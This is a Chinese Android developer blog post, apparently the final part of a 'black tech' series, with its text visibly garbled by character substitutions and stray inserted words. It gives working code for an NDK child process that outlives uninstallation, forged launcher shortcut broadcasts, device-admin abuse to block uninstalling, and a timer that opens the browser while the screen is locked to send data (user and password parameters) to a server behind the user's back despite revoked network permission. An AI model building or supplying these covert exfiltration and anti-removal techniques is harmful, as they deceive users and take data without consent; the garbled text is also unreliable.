“我在发抖么?
你开什么玩笑。我只是在跳愉快的尬舞。
暗影是不会向邪恶势力低头的。 万岁(≧▽≦)/!!”
-- 来自暗世界android工程师html
前言:java
本篇是本系列的最后一个篇章。其实这些活儿也不全是在干坏事用。咱们的重点不该该放在那某个技术点上。应该从中触类旁通的思考。在好的一方面把学到的技术落到实处。好比往下面会讲到的往桌面添加快捷方式,你能够选择结合时下最火的插件化技术搭配添加快捷方式,实现一个无需安装app就完整的拥有启动图标和应用生命周期的附属app。用户喜欢的状况下,这不挺好的吗?毕竟也是一把双刃剑。android
这个世界上手机有三大系统,苹果、 安卓、 中国安卓 。本篇强烈呼吁你们不要去作哪些违反用户体验的黑科技功能,研究研究玩玩就行了啦。全当增加技术,在真实的项目开发中尽可能能不用就不要用得好。道理你们都懂的。git
那些年Android黑科技②:欺骗的艺术github
早在国内某app上有看到一旦卸载该app就立马弹出一个网页来让我填写为何要卸载它。从产品的角度来讲,这无疑是很是好的反馈设计。可是这件事情对手机和用户来讲并很差事。实现上技术上会不断的轮训手机的目录。shell
原理剖析:
咱们知道当apk正常安装在手机上时会写入到/data/data/包名目录下。被卸载后系统会删除掉。数据库
因此借助NDK开发fork出来的C语言写的的子进程代码,在应用被卸载后不会被销毁的特性。作进程内不断轮训/data/data/包名是否存在。浏览器
当apk被卸载后若是你轮训的代码是java写的。他会伴随虚拟机一块儿销毁。可是因为是用C来作轮训,利用了Linux子进程和java虚拟机不在一个进程中的特性就不怕被杀,这点和第一篇咱们讲到的双进程守护有殊途同归之妙。可是android 5.0谷歌仍是干掉了这件事,因此请君放心。哈哈
下面是C的实现部分。
Java_com_charon_uninstallfeedback_MainActivity_initUninstallFeedback( JNIEnv* env, jobject thiz, jstring packageDir, jint sdkVersion) { char * pd = Jstring2CStr(env, packageDir); //fork子进程,以执行轮询任务 pid_t pid = fork(); if (pid < 0) { // fork失败了 } else if (pid == 0) { // 能够一直采用一直判断文件是否存在的方式去判断,可是这样效率稍低,下面使用监听的方式,死循环,每一个一秒判断一次,这样太浪费资源了。 int check = 1; while (check) { FILE* file = fopen(pd, "rt"); if (file == NULL) { if (sdkVersion >= 17) { // Android4.2系统以后支持多用户操做,因此得指定用户 execlp("am", "am", "start", "--user", "0", "-a", "android.intent.action.VIEW", "-d", "http://shouji.360.cn/web/uninstall/uninstall.html", (char*) NULL); } else { // Android4.2之前的版本无需指定用户 execlp("am", "am", "start", "-a", "android.intent.action.VIEW", "-d", "http://shouji.360.cn/web/uninstall/uninstall.html", (char*) NULL);} check = 0; } else { } sleep(1); } } }
java层调用部分
public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); String packageDir = "/data/data/" + getPackageName(); initUninstallFeedback(packageDir, Build.VERSION.SDK_INT); } private native void initUninstallFeedback(String packagePath, int sdkVersion); static { System.loadLibrary("uninstall_feedback"); } }
细节代码请参考Github
https://github.com/CharonChui/UninstallFeedback
通常在开发中,咱们没法直接在活动中收到用户点击Home返回这样的操做回调。但多数状况下,咱们开发的应用是须要感知用户离开的状态的。这里咱们能够利用广播来作这件事情。
有这样一个动态广播来作监听。
android.intent.action.CLOSE_SYSTEM_DIALOGS
咱们继承一个广播类,在里面能够收到用户按下Home键和长按Home(或任务键,取决于手机的设计)
在activity里注册一下这个广播
很是简单的就实现了。下面是展现效果,能够看到日志上的结果,咱们点击Home按键时收到了广播。
GitHub地址:https://github.com/BolexLiu/AndroidHomeKeyListen
不知道你们有没有被这种流氓软件袭击过,你打开过他一次,后面就泪流满面的给你装了满满的一屏幕其余乱七八糟的一堆快捷方式。注意可能会误认为被偷偷安装了其余App,实际上他只是一个带图标的Intent在你的桌面上,但不排除root后的机器安装app是真的,但咱们今天这里只讲快捷方式。
原理解析:
咱们已经把AndroidManifest写烂了,一眼看过去就知道这个标签的做用。
<activity android:name=".xxx"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity>
没错,咱们再熟悉不过了,通常咱们理解成将做为App的第一个被启动的Activity声明。实际上咱们知道Android的桌面(launcher ,通常作rom层的同窗接触比较多)上点击任意一个app都是经过Intent启动的。
神曾经说过,不懂的地方。read the fucking source code,那么咱们来趴一趴launcher的源码,它是如何接收到咱们要添加的快捷方式的。(别惧怕,源码没有想象中那么难度,跳着看。屏蔽咱们不关注的部分。)
拿到一个Android应用层的项目第一件事情干吗?看配置文件呗。来咱们瞅一眼launcher的AndroidManifest。
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.android.launcher"> <!--为了便于阅读,我省略了跟本篇可有可无的代码 --> <!-- Intent received used to install shortcuts from other applications --> <receiver android:name="com.android.launcher2.InstallShortcutReceiver" android:permission="com.android.launcher.permission.INSTALL_SHORTCUT"> <intent-filter> <action android:name="com.android.launcher.action.INSTALL_SHORTCUT" /> </intent-filter> </receiver> <!-- Intent received used to uninstall shortcuts from other applications --> <receiver android:name="com.android.launcher2.UninstallShortcutReceiver" android:permission="com.android.launcher.permission.UNINSTALL_SHORTCUT"> <intent-filter> <action android:name="com.android.launcher.action.UNINSTALL_SHORTCUT" /> </intent-filter> </receiver> </manifest>
注意咱们发现了两个receiver标签,从上面的注释能够发现
接收其余应用安装的快捷方式意图。这里就代表了launcher 是经过广播来添加快捷方式的。咱们接着翻源码,看他是怎么处理这条广播的。根据receiver里的name标签咱们找到InstallShortcutReceiver.java这个类。
首先咱们发现他继承了BroadcastReceiver ,很明显就是一个广播接收者,咱们直接看onReceive方法里如何处理的。
//代码细节部分省略太长了,不方便贴。能够本身去下载源码看。 public class InstallShortcutReceiver extends BroadcastReceiver { //作了不少处理,好比寻找将接受到的快捷方式放在屏幕的哪一个位置、重复的图标提示等 public void onReceive(Context context, Intent data) { //判断这条广播的合法性 if (!ACTION_INSTALL_SHORTCUT.equals(data.getAction())) { return; } ·····略 } //最终咱们发现了这个方法,将快捷方式添加到桌面并存储到数据库 private static boolean installShortcut(Context context, Intent data, ...参数省略) { ·····略 if (intent.getAction() == null) { intent.setAction(Intent.ACTION_VIEW); } else if (intent.getAction().equals(Intent.ACTION_MAIN) && intent.getCategories() != null && intent.getCategories().contains(Intent.CATEGORY_LAUNCHER)) { intent.addFlags( Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED); } ····略 } ····略 }
重点看下面这几行,顺藤摸瓜得知这个Intent来自来自别的app或系统发过来的广播。下面黄横线的部分已经解释了,咱们本身平时开发的app配置的主启动项Activitiy intent-filter在哪里被用到了。这里接收到后的intent将加到桌面并存储到数据库中。由此算是明白了系统究竟是怎么作的。
实现添加快捷方式:
好,既然已经知道原理了,咱们如今就来实现一把,怎么添加一个任意的图标到桌面。
首先咱们须要配置权限声明
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" /> <uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" />
第二步捏造一个添加快捷方式的广播,具体请看下面的代码。注意里面有两个Intent,其中一个是广播的,一个是咱们本身下次启动快捷方式时要用的,启动时能够携带Intent参数。(能作什么,知道了吧?哈哈)
public static void addShortcut(Activity cx, String name) { // TODO: 2017/6/25 建立快捷方式的intent广播 Intent shortcut = new Intent("com.android.launcher.action.INSTALL_SHORTCUT"); // TODO: 2017/6/25 添加快捷名称 shortcut.putExtra(Intent.EXTRA_SHORTCUT_NAME, name); // 快捷图标是容许重复 shortcut.putExtra("duplicate", false); // 快捷图标 Intent.ShortcutIconResource iconRes = Intent.ShortcutIconResource.fromContext(cx, R.mipmap.ic_launcher); shortcut.putExtra(Intent.EXTRA_SHORTCUT_ICON_RESOURCE, iconRes); // TODO: 2017/6/25 咱们下次启动要用的Intent信息 Intent carryIntent = new Intent(Intent.ACTION_MAIN); carryIntent.putExtra("name", name); carryIntent.setClassName(cx.getPackageName(),cx.getClass().getName()); carryIntent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); //添加携带的Intent shortcut.putExtra(Intent.EXTRA_SHORTCUT_INTENT, carryIntent); // TODO: 2017/6/25 发送广播 cx.sendBroadcast(shortcut); }
下面们调用一下看看。这里我添加了四个快捷方式,分别是abcd、abc、ab、a,而后咱们返回桌面看一眼。他们都是能够启动的。
github地址:https://github.com/BolexLiu/AddShortcut
DevicePolicManager 能够作什么?
首先我想,若是你是一个Android重度体验用户,在Rom支持一键锁屏以前,你也许装过一种叫快捷锁屏、一键锁屏之类的替代实体键锁屏的应用。其中致使的问题就是当咱们不须要用它的时候却发现没法被卸载。
原理解析:
从功能上来看,自己该项服务是用来控制设备管理,它是Android用来提供对系统进行管理的。因此一但获取到权限,不知道Android出于什么考虑,系统是不容许将其卸载掉的。咱们只是在这里钻了空子。
实现步骤:
继承DeviceAdminReceiver类,里面的能够不要作任何逻辑处理。
public class MyDeviceAdminReceiver extends DeviceAdminReceiver { }
注册一下,description能够写一下你给用户看的描述。
<receiver android:name=".MyDeviceAdminReceiver" android:description="@string/description" android:label="防卸载" android:permission="android.permission.BIND_DEVICE_ADMIN" > <meta-data android:name="android.app.device_admin" android:resource="@xml/deviceadmin" /> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> </intent-filter> </receiver>
调用系统激活服务
// 激活设备超级管理员 public void activation() { Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN); // 初始化要激活的组件 ComponentName mDeviceAdminSample = new ComponentName(MainActivity.this, MyDeviceAdminReceiver.class); intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample); intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "激活能够防止随意卸载应用"); startActivity(intent); }
咱们来看下运行的效果。激活之前是能够被卸载的。
激活之后没法被卸载,连删除按钮都没有了。就算你拿其余安全工具或系统的卸载也不能卸载哦。
可是咱们能够在设备管理器中能够取消激活就恢复了。这里咱们是正常的方式来激活,不能排除root后的设备,当app拿到root权限后将本身提权自动激活,或者将自身写入到系统app区域,达到没法卸载的目的。因此咱们常说root后的设备是不安全的也就在这里能说明问题。
github地址:https://github.com/BolexLiu/SuPerApp
这是一种超流氓的方式,目前市面上是存在这种app的。普通用户不太注意的话通常发现不了。另外一个对立面说用户把app的访问网络权限禁用了如何告诉服务器消息呢?
原理解析:
虽然应用没有权限,或者咱们以前有权限被用户屏蔽了。可是咱们能够借鸡下蛋,调用系统浏览器带上咱们要访问的参数。实际在服务端收到的时候就是一个get请求能够解析后面拼接出的参数。好比: http://192.168.0.2/send?user=1&pwd=2
这样就能够把user和pwd提交上去。固然这一切还不能被用户发现,因此很变态的判断用户锁屏后就打开浏览器发送消息,用户一旦解锁就回到桌面上,伪装一切都没有发生过。
实现代码:
原本我不许备把代码贴出来的,但想了一下又有何妨。即使我不贴出来你也能找到,也能跟着思路写出来。可是千万千万不要给用户作这种东西。拜托了各位。
Timer timer = new Timer(); final KeyguardManager km = (KeyguardManager) getSystemService(KEYGUARD_SERVICE); TimerTask task = new TimerTask() { @Override public void run() { // TODO: 2017/6/26 若是用户锁屏状态下,就打开网页经过get方式偷偷传输数据 if (km.inKeyguardRestrictedInputMode()) { Intent intent = new Intent(); intent.setAction(Intent.ACTION_VIEW); intent.addCategory(Intent.CATEGORY_BROWSABLE); intent.setData(Uri .parse("http://192.168.0.2/send?user=1&pwd=2")); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); }else{ // TODO: 2017/6/26 判断若是在桌面就什么也不作 ,若是不在桌面就返回 Intent intent = new Intent(); intent.setAction("android.intent.action.MAIN"); intent.addCategory("android.intent.category.HOME"); intent.addCategory(Intent.CATEGORY_DEFAULT); intent.addCategory("android.intent.category.MONKEY"); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); } } }; timer.schedule(task, 1000, 2000);
本系列到这里算是完结了。这个系列的技术大多数来自互联网上。我只是感兴趣作了一些本身的研究。作这些事情告诉我一个道理,论阅读源码的重要性。我也不是什么大神,只是普通的一个程序员。别再叫我大佬了。虽然我在过往的文风中总是大佬大佬的。但那只是编的故事。哈哈
咱们这代人就像红橙Darren说的给了咱们年轻人太多。这一路上我老是在特殊的时间点是上遇到贵人,在他们的帮助下少走很多弯路。真的很感谢这一切的发生。还有在看文章的你。真的,大家每一次点赞、喜欢、评论和关注都成为了我继续努力的动力 ,之前我只是写给本身看作一下笔记,当我发现愈来愈多的人在看我写的东西的时候,我想我就必须对此负责,而不是随便搞搞。
特别感谢公众号码个蛋 ****BaseRecyclerViewAdapterHelper****的做者陈宇明。最近两天交流之中感觉颇多。在这里表示谢谢他的指点。老哥,稳!
做者:香脆的大鸡排 连接:http://www.jianshu.com/p/8f9b44302139 來源:简书 著做权归做者全部。商业转载请联系做者得到受权,非商业转载请注明出处。